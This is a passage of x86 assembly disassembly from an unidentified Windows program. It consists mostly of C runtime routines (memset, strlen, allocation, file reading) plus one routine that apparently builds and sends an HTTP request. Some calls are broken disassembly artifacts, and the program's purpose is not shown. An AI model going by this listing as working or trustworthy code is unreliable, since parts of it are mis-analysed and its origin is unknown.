		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A068
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB08C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE68
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A1CC
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A1C4
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A1C0

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A1BC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A178
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A2AC
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAEA0
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAF78
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF6C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAF18
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A290
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A254
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A238
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A20C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1DC

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFD8
		push	[ebp+var_4]
		call	dword_4CAFD8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27A0000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC940
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27B0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		call	near ptr 2860000h
		nop
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB32C, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C324
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 27B0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2860000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB32C, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB32C, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB32C
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC948
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC940
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C324
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 27B0000h
		nop

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
